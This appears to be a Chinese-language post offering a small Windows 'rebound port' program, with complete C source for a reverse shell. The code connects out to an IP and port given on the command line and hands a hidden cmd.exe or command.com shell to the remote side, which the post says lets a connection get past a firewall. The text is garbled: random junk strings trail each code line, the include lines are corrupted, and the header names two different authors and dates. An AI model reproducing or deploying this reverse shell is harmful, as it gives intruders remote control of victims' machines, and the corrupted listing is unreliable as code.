这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 E4N{;'
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/* ============================== +I r
Rebound port in Windows NT zqa7!ky
By wind,2006/7 ~-o[v-\
===============================*/ :c`Gh< u
#include 8(""ui8
#include <e@+w6Kp'7
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#pragma comment(lib,"wsock32.lib") qjmlwVw
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void OutputShell(); XMw*4j2E
SOCKET sClient; >K-S&Y
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; qv.s-@l8
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void main(int argc,char **argv) gano>W0
{ d\v1R-V
WSADATA stWsaData; fu $<*Sa2
int nRet; <#F@OU
SOCKADDR_IN stSaiClient,stSaiServer; TnQ"c)ta
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if(argc != 3) J>p6')Y6~
{ ;dZuO[4\
printf("Useage:\n\rRebound DestIP DestPort\n"); $ucA.9pJ
return; M A
} E]dmXH8A
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WSAStartup(MAKEWORD(2,2),&stWsaData); 'nSo0cyQ
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5l4YYwd>v
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stSaiClient.sin_family = AF_INET; mL]a_S{H
stSaiClient.sin_port = htons(0); &Na,D7A:3I
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); r: M>/Z/
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) g}n-H4LI
{ AS'%Md&I
printf("Bind Socket Failed!\n"); Ws*UhJY<GS
return; q1?}G5a?
} :B
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stSaiServer.sin_family = AF_INET; Tqj:C8K{
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); D,P{ ,/
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); z^^)n
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) cogIkB&Ju
{ ,u_ Z0S M
printf("Connect Error!"); u.dYDi
return; Bvsxn5z+:
} _T\cJcWf
OutputShell(); _kXq0~
} @jY=b<
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void OutputShell() ;7E
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{ 2xK v;
char szBuff[1024]; V;29ieE!
SECURITY_ATTRIBUTES stSecurityAttributes; h yK&)y?~
OSVERSIONINFO stOsversionInfo; f@Yo]F U
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?!HU$>
STARTUPINFO stStartupInfo; D1R$s*{
char *szShell; u N8RG_Mb
PROCESS_INFORMATION stProcessInformation; 2mEvoWnJ
unsigned long lBytesRead; mLm?yb:
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); qV79bK
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); g+A>Bl3#
stSecurityAttributes.lpSecurityDescriptor = 0; O+OUcMa,
stSecurityAttributes.bInheritHandle = TRUE; J"~!jrzBh(
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); o2~P
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Dl@Jj?zc
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Z@,[a
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d$hBgJe>N
stStartupInfo.wShowWindow = SW_HIDE; Q|xa:`3?
stStartupInfo.hStdInput = hReadPipe; TyhO+;
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; GRh430V[
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GetVersionEx(&stOsversionInfo); JIPBJ
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switch(stOsversionInfo.dwPlatformId) S#:l17e3
{ @ Fkhida
case 1: v=d16
szShell = "command.com"; {$g3R@f^~
break; AVi&cvhs
default: IGNU_w4j
szShell = "cmd.exe"; )$ M2+_c
break; >#VNA^+t
} LwYWgT\e
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $C{,`{=
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send(sClient,szMsg,77,0); ly:2XvV3~
while(1) Wh)!Ha}
{ f@[qS7ok
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); R.!.7dO
if(lBytesRead) %Ai' 6
{ _&%FGcAS
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _\na9T~g
send(sClient,szBuff,lBytesRead,0); F?^L^N^
} $*|M+ofQ
else cj9C6Y!
{ m!5Edo-;<
lBytesRead=recv(sClient,szBuff,1024,0); ~7anj.
if(lBytesRead<=0) break; >x>/}`
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); %=!] 1
} u'nQC*iJb
} $,P:B%]
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return; )k;;O7Ck
}